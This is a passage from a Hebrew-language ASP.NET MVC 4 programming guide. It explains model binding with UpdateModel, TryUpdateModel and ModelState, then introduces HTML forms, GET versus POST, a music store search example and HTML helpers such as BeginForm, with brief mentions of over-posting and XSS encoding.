Cost( ,מכיוון שתצטרכו לזכור שהערך של , אולם הדבר יקשה על כתיבת הקוד של הפעולה
Title נמצא בשדה קלט בשם AlbumName ,למשל . 

אין כל קושי לכתוב קוד גנרי , אפייניםאם השמות של שדות הקלט תואמים לשמות המ
בדיוק דבר זה עושים מנגנוני . שמעביר ערכים משדה לשדה לפי המוסמכות של מתן שמות

 . ASP.NET MVCהקישור למודל של 

DefaultModelBinder 

 Album מקבלת אובייקט Editהפעולה , במקום ללקט את ערכי הטופס מהבקשה, בדוגמה זו
 :בתור פרמטר

[HttpPost] 

public ActionResult Edit(Album album) 
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{ 

 // ... 

} 

 משתמש במנגנון מְקַשֵר MVCתהליך זמן הריצה של , בכל פעם שמופיעה פעולה עם פרמטר
מספר מְקַשֵרים למודל יכולים להיות רשומים . כדי לבנות את הפרמטר, )model binder(למודל 

)registered ( בתהליך זמן הריצה שלMVCאולם על פי , ך קישור סוגים שונים של מודלים לצור
. DefaultModelBinderר ברירת המחדל שֵקַמְעיקר העבודה נעשית על ידי , ברירת המחדל

מקשר ברירת המחדל סוקר את האלבום ומאתר את כל , Albumבמקרה של האובייקט 
קשר ברירת מ, על פי מוסכמות בחירת השמות שפירטנו קודם. המאפיינים שזמינים לקישור

המקשר למודל (המחדל ממיר ומעביר ערכים באופן אוטומטי מהבקשה אל אובייקט האלבום 
 ). יכול גם ליצור מופע של האובייקט לקבלת הערכים

הוא מחפש , Title כולל מאפיין בשם Albumכאשר המקשר למודל מזהה שהאובייקט , לדוגמה
באוסף  ולא בבקשהדל מחפש ערכים שימו לב שהמקשר למו. Titleבתוכן הבקשה ערך בשם 

 value(ספקי ערך המקשר למודל משתמש ברכיבים שמכונים ). form collection( הטופס

providers( המקשר למודל יכול לבדוק את נתוני . לחיפוש ערכים בחלקים שונים של הבקשה
 ערך ובמידת הצורך תוכלו גם להגדיר ספקי, מחרוזת השאילתה ואת אוסף הטופס, הניתוב

 . נוספים משלכם

 ולפרמטרים מורכבים כדוגמת אובייקט HTTP POSTקישור למודל אינו מיועד רק לפעולות 
Album . כמו , לפעולה) בסיסיים(קישור למודל יכול לשמש גם להזנת פרמטרים פרימיטיביים

 : כמוצג להלן, HTTP GET לבקשת Editלמשל בתגובה של פעולת 
public ActionResult Edit(int id) 

{ 

 // ... 

} 

לצורך חיפוש ערכים ) id, הזיהוי(המקשר למודל משתמש בשם של הפרמטר , בתרחיש זה
, StoreManager/Edit/8/בנתיב  )ID( הזיהוי ערךשמזהה את הניתוב הוא הרכיב מנוע . בבקשה

ניתן . idאולם המקשר למודל הוא שאחראי על המרת הערך והעברתו מנתוני הניתוב לפרמטר 
 מכיוון שהמקשר StoreManager/Edit?id=8/השורה ליזום את הפעולה הזו גם באמצעות 

 .  באוסף מחרוזת השאילתהidלמודל יאתר את הפרמטר 

זמן הריצה אומר למקשר למודל . המקשר למודל מזכיר קצת באופן פעולתו כלב חיפוש והצלה
 . idאחר פרמטר בשם והמקשר רץ לחפש בכל פינה , idשהוא זקוק לערך עבור מאפיין 

 הסבר קצר על אבטחת הקישור למודל

במקרים מסוימים התנהגות החיפוש האגרסיבית של המקשר למודל עלולה לגרום לתוצאות 
בסעיף האחרון ראינו כיצד מקשר ברירת המחדל סוקר את המאפיינים הזמינים . בלתי רצויות

.  על ידי סריקת הבקשה ומנסה למצוא ערך תואם עבור כל אחד מהםAlbumבאובייקט 
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ולכן צריך ) או שלא מצפים להם(יקט עשוי לכלול מאפיינים שלא רוצים בהם ילפעמים האוב
ובמקרים כאלה גם צריך למנוע מתקפת , למנוע את האכלוס שלהם על ידי המקשר למודל

"over-posting ."פרצה זו עלולה לאפשר לתוקף פוטנציאלי להשמיד את היישום והנתונים ,
 . ן אסור להיות שאננים בטיפול בנושא זהולכ

שבו גם תוצגנה טכניקות , 7 בפרק "over-posting"תוכלו למצוא פרטים נוספים על מתקפת 
ולהקפיד לקרוא את , לדעת שאיום זה קייםעכשיו צריך רק . אחדות שתאפשרנה למנוע אותה

 .  בעיון לפני שמעלים יישומים לרשת7פרק 

 קישור למודל במפורש

). action parameter(שור למודל מופעל בהתאם לנסיבות כאשר מופיע בקוד פרמטר פעולה קי
 והשיטה UpdateModelבאמצעות השיטה , ניתן לבצע קישור למודל גם באופן מפורש

TryUpdateModelהשיטה .  שנמצאות בבקרUpdateModel תכריז על שגיאה כאשר משהו 
הנה גרסה אפשרית . invalidכלומר הוא , נו מאומתוהמודל אי, משתבש במהלך הקישור למודל

 :  במקום שימוש בפרמטר פעולהUpdateModel שמציגה שימוש בשיטה Editשל הפעולה 

[HttpPost] 

public ActionResult Edit() 

{ 

 var album = new Album(); 

 try 

 { 

  UpdateModel(album); 

  db.Entry(album).State = EntityState.Modified; 

  db.SaveChanges(); 

  return RedirectToAction("Index"); 

 } 

 catch 

 { 

  ViewBag.GenreId = new SelectList(db.Genres, "GenreId", 

        "Name", album.GenreId); 

  ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId", 

        "Name", album.ArtistId); 

  return View(album); 

 } 

} 

. אך אינה מכריזה על שגיאה,  גורמת לביצוע קישור למודלTryUpdateModelגם השיטה 
, לאחר שהקישור למודל בוצע בהצלחה, bool מחזירה ערך מסוג TryUpdateModelהשיטה 

 . falseמשהו השתבש והערך המוחזר הוא , אחרת; trueהמודל אומת והערך המוחזר הוא 

[HttpPost] 

public ActionResult Edit() 

{ 
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 var album = new Album(); 

 if (TryUpdateModel(album)) 

 { 

  db.Entry(album).State = EntityState.Modified; 

  db.SaveChanges(); 

  return RedirectToAction("Index"); 

 } 

 else 

 { 

  ViewBag.GenreId = new SelectList(db.Genres, "GenreId", 

        "Name", album.GenreId); 

  ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId", 

        "Name", album.ArtistId); 

  return View(album); 

 } 

} 

בכל פעם שהמקשר למודל . )model state(תוצר נלווה של הקישור למודל הוא מצב מודל 
אתם יכולים לבדוק את מצב .  הוא מוסיף רשומת תיעוד בקובץ מצב המודל,מעביר ערך למודל

 : כדי לראות אם הקישור בוצע בהצלחה, המודל בכל שלב לאחר ביצוע קישור למודל
[HttpPost] 

public ActionResult Edit() 

{ 

 var album = new Album(); 

 TryUpdateModel(album) 

 if (ModelState.IsValid) 

 { 

  db.Entry(album).State = EntityState.Modified; 

  db.SaveChanges(); 

  return RedirectToAction("Index"); 

 } 

 else 

 { 

  ViewBag.GenreId = new SelectList(db.Genres, "GenreId", 

        "Name", album.GenreId); 

  ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId", 

        "Name", album.ArtistId); 

 return View(album); 

 } 

} 

מצב המודל יכיל את שמות המאפיינים שגרמו , במקרה של שגיאות במהלך הקישור למודל
מצב המודל הוא אמצעי שימושי למדי בשלב ניפוי . הערכים שנוסו והודעות השגיאה, לשגיאות
וצר הינה להציג למשתמש הודעות שגיאה כדי אולם המטרה העיקרית שלשמה נ, השגיאות
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בשני הפרקים הבאים נלמד כיצד מצב המודל מאפשר . לפרט בפניו מדוע הפלט שלו לא התקבל
 . לפעול בשיתוף עם מנגנוני הקישור למודלMVC ולאפשרויות האימות של HTMLלסייעי 

 סיכום

כעת תוכלו לכתוב את . ל והתמקדנו באובייקטי מודMVCבפרק זה עסקנו בבנייה של יישומי 
ולאחר מכן ליצור פיגומים עבור חלקים מסוימים , #Cהגדרות המודלים שלכם באמצעות קוד 
כל תבניות הפיגומים כוללות את כל האלמנטים . ביישום על פי סוג מודל מוגדר רצוי

מכיוון שהן גם , עם זאת). Entity Framework(הדרושים לעבודה עם תשתית סביבת העבודה 
תוכלו לחבר את תבניות הפיגומים למגוון טכנולוגיות , יתנות להרחבה ולהתאמה אישיתנ

 . אחרות

וכעת אתם אמורים לדעת כיצד לשלוף ערכים , בהמשך הוצגו אפשרויות הקישור למודל
מבקשות באמצעות מקשר למודל במקום ליקוט שלהם בזה אחר זה מתוך אוספי טופס 

עסקנו בקצרה בפגיעות הפוטנציאלית למתקפת .  שלכםומחרוזות שאילתה שבפעולות הבקר
"over-posting"בנושא זה נעסוק .  שעלולה להיגרם מקישור של נתונים מיותרים למודל

 . 7בהרחבה בפרק 

חשוב להבין שהטכניקות והגישות שהוצגו בפרק זה , למרות שעשינו מספר צעדים חשובים
. ים אובייקטי מודל ביישומי אינטרנטמהוות רק את קצה הקרחון מבחינת התפקיד שממלא

יכולים להשפיע על , המטא שמשויכים אליהם-ונתוני, בפרקים הבאים נלמד כיצד מודלים
 .  ולהכתיב את אופן הפעולה של תהליכי האימותHTMLהפלט של סייעי 
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Scott Allen 

 

 עיקרי הפרק

 מהם טפסים 

  שימוש נכון בסייעיHTML  

  סייעי עריכה וקלט 

 סייעי תצוגה ומימוש 

 

נועדו לעזור למתכנת בעבודה עם , שםהמשתמע משכפי , )HTML) HTML helpersסייעי 
HTML . הקלדת אלמנטים שלHTML מורכבת במיוחד לעורך טקסט אולי לא נשמעת משימה ,

אך יש לזכור שפירוט שמות התגיות , ולכן אפשר לתהות למה בכלל צריכים את העזרה הזו
 URL הוא לוודא שכתובות HTMLהחלק הקשה בעבודה עם . הוא החלק הקל שבמשימה

שהשמות והערכים של האלמנטים , שנמצאות בקישורים אמנם מצביעות למיקומים הנכונים
ושאר האלמנטים מציגים , ם לבצע קישור למודל בצורה חלקהבטופס תקינים ומאפשרי

 . הודעות שגיאה מתאימות במקרה שהקישור למודל נכשל

.  בלבדHTMLחיבור בין כל ההיבטים השונים של העבודה מחייב כלי טוב יותר מאשר תגיות 
ות  טכניקות שוניוצגובפרק זה . יש כאן צורך מובהק בתיאום בין התצוגה לבין זמן הריצה

אך לפני שנתחיל לעבוד עם המסייעים .  לבצע את התיאום הזה בקלות רבהשמאפשרות
הם המקום שבו  טפסים ,כפי שכבר ראינו .)Forms(טפסים עלינו להבין תחילה מהם , השונים

 היא HTMLהעבודה עם סייעי , בהקשר זה, מתבצעת רוב העבודה הקשה ביישום ולכן
 . האינטנסיבית ביותר
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 יםשימוש בטפס

 של שפת formחלקכם בוודאי שואלים את עצמכם מדוע בחרנו להתעכב על הסברת התגית 
HTMLהאין זה די פשוט להבנה.  בספר שמיועד למפתחי יישומים מקצועיים? 

 :שתי סיבות עיקריות מצביעות על הצורך להרחיב את ההסבר

  התגיתformגית  בלי הת. הינה תגית שימושית ביותר ובעלת חשיבות מיוחדתform ,
. בלבד של מסמכים יבשים ומשעממים-יתה בסך הכל מאגר לקריאהירשת האינטרנט ה

. ורכישה מקוונת של מוצרים לעולם לא הייתה מתאפשרת, לא היה ניתן לבצע חיפושים
האנושות לא ,  מכל אתרי האינטרנטformאת כל תגיות " מסלק"אם גאון מרושע היה 
 . בימינולפחות לא , הייתה שורדת יום אחד

  מפתחים רבים שלומדים להשתמש בתשתיתMVC מגיעים מרֶקַע של עבודה עם 
ASP.NET Web Forms. תשתית Web Forms אינה ממצה במלואה את הפוטנציאל של 

 למטרותיה form מנצלת את תגית Web Formsאפשר לומר שתשתית  (formהתגית 
הם כל היכולות של התגית  שכחו מה Web Formsולכן אפשר להבין שמפתחי , )בלבד
form - כמו למשל יצירת בקשות HTTP GET . 

 הפעולה והשיטה

אלמנטי . שדות טקסט ועוד, תיבות סימון, לחצנים: טופס מהווה בסיס להצגת אלמנטי קלט
אבל . מידע לשרת) submit(למסור הקלט בטופס הם שמאפשרים למשתמש להזין מידע לדף ו

התשובות לשאלות אלו טמונות בשתי התכונות ? גיע לשרתואיך המידע הזה מ? איזה שרת
)attributes ( החשובות ביותר של תגיתform : התכונהaction) פעולה ( והתכונהmethod) שיטה.( 

ולכן באופן טבעי היא מכילה כתובת ,  אומרת לדפדפן לאן לשלוח את המידעactionהתכונה 
URL . כתובתURLצים לשלוח מידע אל יישום אחר או אל שרת וכאשר רו,  יכולה להיות יחסית
 שלהלן ניתן להשתמש formבתגית . action מוחלטת בתכונה URLניתן גם להציב כתובת , אחר

 : Bingמכל יישום אל מנוע החיפוש ") q"שדה הקלט שנקרא (לשליחת ביטוי חיפוש 

<form action="http://www.bing.com/search"> 

 <input name="q" type="text" /> 

 <input type="submit" value="Search!" /> 

</form> 

 methodהתכונה . method שנמצאת בקטע הקוד האחרון אינה כוללת את התכונה formתגית 
 בעת שליחת HTTP GET או בהוראה HTTP POSTמגדירה לדפדפן אם להשתמש בהוראה 

הרי אנחנו  (HTTP POSTצעות המידע נשלח באמ, ניתן לשער שעל פי ברירת המחדל. המידע
למסור פרטי הזמנה באמצעות ,  כדי לעדכן פרופיל משתמשPOSTנוהגים להשתמש בהוראה 

אולם ערך , )לידיעות שאנו קוראים באתר חדשות) טוקבקים(ולהעלות תגוביות , כרטיס אשראי
 :HTTP GETהטופס שולח את הבקשה , על פי ברירת המחדל, ולכן" get"ברירת המחדל הינו 
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<form action="http://www.bing.com/search" method="get"> 

 <input name="q" type="text" /> 

 <input type="submit" value="Search!" /> 

</form> 

הדפדפן אוסף את השמות של שדות , HTTP GETכאשר משתמש שולח טופס באמצעות בקשת 
בהנחה שהמשתמש הזין , לדוגמה. תההקלט והערכים שבטופס ויוצר מהם מחרוזת שאיל

"love "הטופס האחרון יגרום לדפדפן לנווט לכתובת , לשדה החיפושURLזו  : 

http://www.bing.com/search?q=love 

GET לעומת POST 

הדפדפן לא ישתמש בערכי , במקרה זה. post לערך methodאפשר לשנות את ערך התכונה 
למרות שאין כל דבר . HTTPלב אותם בגוף בקשת אלא יש, הקלט ליצירת מחרוזת שאילתה
,  אל מנוע החיפוש ולקבל ממנו את תוצאות החיפושPOSTשמונע מאיתנו לשלוח בקשת 

 GETבקשות , POSTשלא כמו בקשות .  ממספר סיבותHTTP GETנעדיף להשתמש בהוראת 
בכתובת מכיוון שכל הפרמטרים מוטמעים ) bookmarks(ניתנות לשמירה בדפים המועדפים 

URL . אפשר להשתמש בכתובתURLכקישור בהודעות דואר אלקטרוני או בדף אינטרנט  ,
 . ובדרך זו לשמור את כל ערכי הקלט שהוזנו לטופס

 מייצגת GET לשליחת הנתונים היא שההוראה GETסיבה חשובה אף יותר להעדפת בקשות 
מונח מתמטי ה היא להכוונ, להזכירכם(בלבד -ית שמאפשרת קריאהנטטֶמפוֹאידֶפעולה 

).  שניתן לבצע את הפעולה שוב ושוב ולקבל תמיד אותה תוצאה,שמשמעותו בהקשר זה היא
 GETמכיוון שהוראת ,  אל השרת שוב ושוב ללא השפעות שליליותGETניתן לשלוח בקשות 

 משמשת POSTבקשת , עם זאת. את מצב השרת, או לפחות לא אמורה לשנות, אינה משנה
בקשת . הוספת מוצרים לעגלת הקניות או שינוי סיסמה,  מסירת פרטי תשלוםלפעולות כגון

POSTוחזרה על הבקשה עלולה לגרום לתוצאות לא ,  בדרך כלל משנה את המצב בשרת
דפדפנים רבים מספקים לגולשים אמצעי הגנה מפני שליחה חוזרת ). כגון חיוב כפול(רצויות 

 POST שמופיעה כאשר מנסים לרענן בקשת  מוצגת ההודעה5-1בתרשים . POSTשל בקשות 
 .Chromeבדפדפן 

 5-1תרשים    

,  לפעולות קריאהGETעל פי ההסבר שלעיל נוכל לומר שביישומי אינטרנט נשתמש בבקשות 
יצירה או , לרוב מדובר בצורה כלשהי של עדכון( נשתמש לפעולת כתיבה POSTובבקשות 

אולם בקשה , POSTה תבוצע באמצעות וסיקמבקשה לתשלום עבור שמיעת , לפיכך). מחיקה
 . GETתבוצע באמצעות , )התרחיש שיוצג להלן(ה מוסיקלחיפוש של 
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 ה באמצעות טופס חיפושמוסיקחיפוש 

ה דרך דף מוסיקה המקוונת שלכם לחפש מוסיקנניח שברצונכם לאפשר למבקרים בחנות ה
, פוש שהצגנו בסעיף האחרוןבדיוק כמו בדוגמה של מנוע החי. Music Storeהבית של היישום 

צירוף הקוד שלהלן מייד תחת ). method(ושיטה ) action(עליכם לספק טופס שכולל פעולה 
  יאפשרHomeController של הבקר Indexבתצוגה ] the promotion div[ הפותחת divהתגית 

 :לספק את הטופס הדרוש
<form action="/Home/Search" method="get"> 

 <input type="text" name="q" /> 

 <input type="submit" value="Search" /> 

</form> 

תהליך הבסיס מתחילתו ועד אך כעת נסתפק בהסברת , כמה דרכיםניתן לשפר את הקוד הזה ב
הקוד , לשם הפשטות. HomeController על Searchהשלב הבא הינו יישום של השיטה . סופו

 :ה לפי שם האלבוםמוסיקיחפש תמיד שלהלן מסתמך על ההנחה שהמשתמש 

public ActionResult Search(string q) 

{ 

 var albums = storeDB.Albums 

   .Include("Artist") 

   .Where(a => a.Title.Contains(q)) 

   .Take(10); 

 return View(albums); 

} 

 מאתרת את MVCתשתית . q אמורה לקבל פרמטר מחרוזת בשם Searchשימו לב שהפעולה 
והיא גם יכולה , ) אכן קייםqבתנאי שהשם (הערך הזה במחרוזת השאילתה באופן אוטומטי 

אם החלטתם בכל זאת לבצע החיפוש באמצעות , לאתר את הערך בין ערכי הטופס שנמסר
 . GET ולא באמצעות הבקשה POSTהבקשה 

 פשוטה Search.cshtmlואתם יכולים ליצור תצוגת ,  לממש תצוגהMVCהבקר מורה לתשתית 
 : כדי להראות את התוצאותHomeבתיקיית התצוגות 

@model IEnumerable<MvcMusicStore.Models.Album> 

 

@{ ViewBag.Title = "Search"; } 

 

<h2>Results</h2> 

 

<table> 

 <tr> 

  <th>Artist</th> 

  <th>Title</th> 

  <th>Price</th> 

 </tr> 
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@foreach (var item in Model) { 

 <tr> 

  <td>@item.Artist.Name</td> 

  <td>@item.Title</td> 

  <td>@String.Format("{0:c}", item.Price)</td> 

 </tr> 

} 

</table> 

ולקבל חוזרת של הקלט כפי שמוצג , "led"הקוד הסופי מאפשר ללקוחות לחפש ביטויים כגון 
 .5-2בתרשים 

 

 5-2תרשים 

 ביישומי HTML שזה עתה הצגנו ממחיש כמה קל להשתמש בטפסי תרחיש החיפוש הפשוט
ASP.NET MVC .ושולח בקשה , הדפדפן אוסף מהטופס את הקלט שהועבר על ידי המשתמש

נתוני הקלט מועברים באופן אוטומטי אל שיטות הפעולה של היישום , בשלב זה. MVCליישום 
 .  כדי לאפשר להן להגיב בהתאםMVCעל ידי זמן הריצה של 

הפשטות המופרזת של טופס , למעשה. כמובן שקיימים תרחישים מורכבים יותר מטופס חיפוש
 היישום בתיקייה שאינה את) deploy (כללואם ת. מסוימתהחיפוש שהצגנו יוצרת פגיעוּת 

ערכי הפעולה , או במקרה של שינוי בהגדרות הניתוב שלכם, תיקיית השורש של האתר
ההצבה של , כזכור. יל את הדפדפן למשאבים שאינם קיימיםשהוטבעו בקוד עלולים להוב

 .  מתבצעת באמצעות הצבה מפורשת בקודaction בתכונה Home/Searchהנתיב 

<form action="/Home/Search" method="get"> 

 <input type="text" name="q" /> 

 <input type="submit" value="Search" /> 

</form> 



 ASP.NET MVC 4מדריך    108

 די חישוב ערך תכונת הפעולהה על ימוסיקחיפוש 

.  באופן דינמיactionגישה טובה יותר לחיפוש תהיה על ידי חישוב הערך שיוצב בתכונה 
 . שמבצע את החישוב הזה עבורנוHTMLהתשתית מספקת סייע , למרבה המזל

@using (Html.BeginForm("Search", "Home", FormMethod.Get)) {  

 <input type="text" name="q" /> 

 <input type="submit" value="Search" /> 

} 

 של Search מבקש ממנוע הניתוב את הנתיב לפעולה BeginForm בשם HTMLסייע 
HomeController .הסייע משתמש בשיטה בשם , ברקעGetVirtualPath במאפיין Routes שנחשף 

 .global.asax-ו ב כאן יישום האינטרנט שלכם רושם את כל הנתיבים של- RouteTableדרך 
 : היה צורך לכתוב את הקוד הבא, HTMLכדי לעשות את כל זה ללא העזרה של סייע 

@{ 

 var context = this.ViewContext.RequestContext; 

 var values = new RouteValueDictionary{ 

  { "controller", "home" }, { "action", "index" } 

 }; 

 var path = RouteTable.Routes.GetVirtualPath(context, values); 

} 

<form action="@path.VirtualPath" method="get"> 

 <input type="text" name="q" /> 

 <input type="submit" value="Search2" /> 

 

</form> 

הם חוסכים כתיבת קוד רבה . HTMLהדוגמה האחרונה ממחישה את התועלת הרבה של סייעי 
 . וע ברמת השליטה שלכםמבלי לפג

 HTMLסייעי 
יש לכם . תצוגהה של Htmlשניתנות להפעלה דרך המאפיין  הם למעשה שיטות HTMLסייעי 

לכל ). Ajaxדרך המאפיין  (AJAXוגם לסייעי , )Urlדרך המאפיין  (URLגם גישה גם לסייעי 
 URLסייעי ). views(להקל על תהליך הכתיבה של תצוגות : הסייעים הללו יש מטרה זהה

 . זמינים גם בתוך הבקר

 שהצגנו BeginFormהסייע , לדוגמה. HTMLמחזירים תגיות , HTMLובפרט סייעי , רוב הסייעים
 טובה עבור טופס החיפוש שלכם מבלי שתצטרכו formקודם יכול לעזור לכם לבנות תגית 

 : להקליד שורות קוד רבות
@using (Html.BeginForm("Search", "Home", FormMethod.Get)) {  

 <input type="text" name="q" /> 

 <input type="submit" value="Search" /> 

} 
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 יפיק תגיות דומות לאלו ששימשו אותנו כאשר יישמנו את BeginFormסביר להניח שהסייע 
אולם הסייע פועל ברקע בתיאום עם מנוע החיפוש כדי להפיק , טופס החיפוש בפעם הראשונה

 . ולשפר את עמידות הקוד לשינויים במיקום הפריסה של היישום,  תקיןURLנתיב 

 <form/>פותחת וגם את תגית ה <form> מפיק גם את תגית BeginFormשימו לב שהסייע 
והקריאה מחזירה , BeginFormהסייע ממקם את התגית הפותחת בזמן הקריאה לשיטה . הסוגרת

,  בתצוגהusing לסוגר המסולסל הימני של הצהרת בהגיעה. IDisposableאובייקט שמיישם את 
שימוש זה בהצהרת . Dispose-הסייע ממקם את התגית הסוגרת בעקבות הקריאה המפורשת ל

usingכםיאם הסגנון הזה אינו מוצא חן בעינ, עם זאת.  מאפשר לקבל קוד פשוט ואלגנטי יותר ,
 : ןכמוצג להל, אתם תמיד יכולים להשתמש בגישה סימטרית יותר

@{Html.BeginForm("Search", "Home", FormMethod.Get);} 

 <input type="text" name="q" /> 

 <input type="submit" value="Search" /> 

@{Html.EndForm();} 

 מרחיקים את המְפתֵַחַ מחומר BeginForm כגון HTMLבמבט ראשון ניתן לחשוב על כך שסייעי 
כאשר , אולם. שמפתחים רבים רוצים שליטה ישירה עליהן,  הבסיסיותHTML תגיות -הגלם 

תתחילו לעבוד עם הסייעים תבינו במהרה שהם מאפשרים להמשיך לעבד את חומר הגלם 
עדיין יש לכם שליטה מלאה . ובמקביל גם לשפר את פריון העבודה שלכם, באופן ישיר

לטפל בכל הפרטים אך אינכם נדרשים עוד לכתוב שורות קוד רבות כדי , HTMLבתגיות 
סייעים . סייעים עושים הרבה יותר מאשר הפקה של תגיות עם סוגריים משולשים. הקטנים

וקביעת ,  למשאבים הנכוניםURLבנייה של נתיבי , דואגים גם לקידוד נכון של מאפיינים
 !הסייעים הם החברים שלכם. השמות של שדות הקלט כדי להקל על תהליכי הקישור למודל

 ומטיקידוד אוט

רבים מהסייעים שיוצגו .  שומר שלא תסתבכו בצרותHTMLגם סייע , כמצופה מכל חבר טוב
כל הסייעים שמפיקים ערכי מודל מעבירים את הערכים קידוד . בפרק זה מפיקים ערכי מודל

HTML) HTML encoding (בהמשך נלמד על הסייע , לדוגמה. לפני שהם ממומשיםTextArea 
 .HTML בפורמט textareaקת אלמנט שיכול לשמש אתכם להפ

@Html.TextArea("text", "hello <br/> world") 

בדוגמה האחרונה הטמענו .  הוא הערך שעליו לממשTextAreaהפרמטר השני שמועבר לסייע 
 : יפיק את התגיות הבאותTextAreaאולם הסייע ,  בערך שהעברנוHTMLקצת 

<textarea cols="20" id="text" name="text" rows="2"> 

 hello &lt;br /&gt; world 

</textarea> 

ביצוע קידוד על פי ברירת מחדל תורם . HTMLשימו לב לפלט שבו הערך מופיע בקידוד 
 XSSדיון מעמיק יותר במתקפות ). XSS) cross site scriptingלשיפור ההגנה מפני מתקפות 

 . 7תמצאו בפרק 
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 שימוש יעיל בסייעים

. הם גם מאפשרים לשמור על רמת השליטה הדרושה,  שהסייעים מספקיםבנוסף להגנה שהם
נוספת של ) overloaded(נציג גרסה מועמסת , כדוגמה לדברים שאפשר לעשות עם סייעים

 :BeginFormהסייע 
@using (Html.BeginForm("Search", "Home", FormMethod.Get, 

      new { target = "_blank" })) 

{  

 <input type="text" name="q" /> 

 <input type="submit" value="Search" /> 

כמעט כל . BeginForm של htmlAttributesאובייקט מטיפוס אנונימי מועבר לפרמטר , בקוד זה
.  באחת מהגרסאות המועמסות שלוhtmlAttributes כולל פרמטר MVC בתשתית HTMLסייע 

. <IDictionary<string, object מטיפוס htmlAttributesמועמסת אחרת קיים פרמטר בגרסה 
 את שמות המאפיינים -או במקרה של פרמטר אובייקט (הסייעים מקבלים את רשומות המילון 

באלמנט ) attributes(ומשתמשים בהן כדי ליצור תכונות ) וערכי המאפיינים של אובייקט
 :  הפותחת הבאהformהקוד הקודם מפיק את תגית , לדוגמה. שמופק על ידי הסייע

<form action="/Home/Search" method="get" target="_blank"> 

תוכלו . htmlAttributesפרמטר ה באמצעות "target="_blankשימו לב לביצוע ההצבה 
, לדוגמה.  להגדרת מספר רב ככל הנדרש של ערכי תכונותhtmlAttributesלהשתמש בפרמטר 

 classאפשר גם להשתמש במאפיין בשם , HTMLאלמנט  של classכדי להציב ערך בתכונה 
אין קושי להשתמש . או במפתח מתאים במילון הערכים, באובייקט בעל הטיפוס האנונימי

הסיבה לכך היא . אבל הדבר עלול לגרום לבעיות באובייקט, במילון" class"בערך מפתח בשם 
ה בתור שם של מאפיין או ולא ניתן להשתמש ב, #C היא מילת מפתח שמורה בשפת class-ש

 : לפני המילה@ לפיכך יש להוסיף את הסמל . מזהה

@using (Html.BeginForm("Search", "Home", FormMethod.Get, 

      new { target = "_blank", @class="editForm" })) 

נפגוש ). data-valכגון (בעיה נוספת מתעוררת בעת הגדרת תכונות שיש מקף בשם שלהן 
. ASP.NET MVC של תשתית AJAX כאשר נעסוק בכלי 8מות של תכונות עם מקף בפרק בש

 ממירים קו תחתון למקף HTMLאך כל סייעי , #Cמקף אינו תו חוקי בשמות מאפיינים של 
 : קוד התצוגה שלהלן, לדוגמה. HTMLבשמות של מאפיינים בעת מימוש של תגיות 

@using (Html.BeginForm("Search", "Home", FormMethod.Get, 

      new { target = "_blank", @class="editForm", 

data_validatable=true })) 

 : הבאותHTMLהקוד שלעיל יפיק את תגיות 

<form action="/Home/Search" class="editForm" data-validatable="true" 

      method="get" target="_blank"> 

 . ונציג מספר סייעים מובנים נוספים,  פועלים הסייעיםבסעיף הבא נראה כיצד
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 HTMLמנגנון הפעולה הפנימי של סייעי 

 הוא מטיפוס Htmlהמאפיין .  ממחלקת הבסיס שלהHtml יורשת מאפיין Razorכל תצוגת 
System.Web.Mvc.HtmlHelper<T> , כאשרT הוא פרמטר מטיפוס גנרי שמייצג את הטיפוס 

המחלקה מספקת מספר שיטות היקרות ).  על פי ברירת מחדלdynamic(המודל לתצוגה של 
)instance methods( ,כמו למשל , שניתן לקרוא להן בתצוגה, או שיטות מופע

EnableClientValidation)  אשר מאפשרת להפעיל או לנטרל את אימות הלקוח על בסיס תצוגה
אינה אחת מהשיטות , קודם שבה השתמשנו בסעיף הBeginFormהשיטה , עם זאת). מסוימת

 extension(רוב הסייעים של התשתית מוגדרים כשיטות הרחבה . שמוגדרות במחלקה

methods.(  

 שם השיטה מוצג כשלידו IntelliSenseמכיוון שבחלון , שיטות הרחבה ניתנות לזיהוי בקלות
 ). 5-3תרשים (חץ קטן שפונה שמאלה 

 

 5-3תרשים 

. ויש לכך כמה סיבות, HTMLגישה האידיאלית לבניית סייעי השימוש בשיטות הרחבה הוא ה
 זמינות רק כאשר מרחב השמות של שיטת ההרחבה נכלל בטווח #Cשיטות הרחבה של , האחת

 שוכנות במרחב MVC של HtmlHelperכל שיטות ההרחבה של המחלקה ). scope(ההכרה 
 מכיוון שהוא ,רירת מחדלאשר נכלל בטווח ההכרה על פי ב( System.Web.Mvc.Htmlהשמות 

תוכלו ,  אם שיטות ההרחבה המובנות אינן נראות לכם).Views/web.config בקובץ פורטמ
 . להסיר את מרחב השמות הזה ולבנות אחד משלכם

אשר מציג את היתרון הנוסף שנלווה , "לבנות אחד משלכם"הסיבה השנייה כרוכה בביטוי 
או , דבר מאפשר לבנות שיטות הרחבה באופן עצמיה: לשימוש בשיטות הרחבה לבניית סייעים

אך כעת ,  נלמד כיצד לבנות סייעים מותאמים אישית14בפרק . לשדרג את הסייעים המובנים
 . נתמקד בסייעים שמספקת התשתית

 יצירת טופס לעריכת אלבום

קוד התצוגה . נניח שברצונכם לבנות תצוגה שתאפשר למשתמש לערוך את פרטי האלבום
 :שוי לשמש כנקודת פתיחה טובה למדישלהלן ע



 ASP.NET MVC 4מדריך    112

@using (Html.BeginForm()) { 

 @Html.ValidationSummary(excludePropertyErrors: true) 

 <fieldset> 

  <legend>Edit Album</legend> 

 

  <p> 

   <input type="submit" value="Save" /> 

 </p> 

 </fieldset> 

} 

 . ל שני הסייעים שמופיעים בקודבשני הסעיפים הבאים תמצאו הסבר ע

Html.BeginForm 

 מהדוגמה BeginFormהגרסה של . BeginFormבאחת הדוגמאות הקודמות השתמשנו בסייע 
.  הנוכחיתURL לכתובת HTTP POSTשולחת בקשת , שאינה מקבלת פרמטרים בכלל, האחרונה

 הפותחת formתגית , StoreManager/Edit/52/לכתובת אם התצוגה הופעלה בתגובה , כלומר
 : תיראה כך

<form action="/StoreManager/Edit/52" method="post"> 

מכיוון שברצוננו לשנות את פרטי האלבום ,  הינה אידיאלית לתרחיש הזהPOSTההוראה 
 .בשרת

Html.ValidationSummary 

מילון  משמש להצגת רשימה לא ממוינת של כל שגיאות האימות בValidationSummaryהסייע 
ModelState . שערכו (הפרמטר הבוליאניtrue (מורה לו להשמיט מהרשימה , שמועבר לסייע

 ModelState-הסיכום שיוצג יכלול אך ורק שגיאות ב, במילים אחרות. המאפייןשגיאות ברמת 
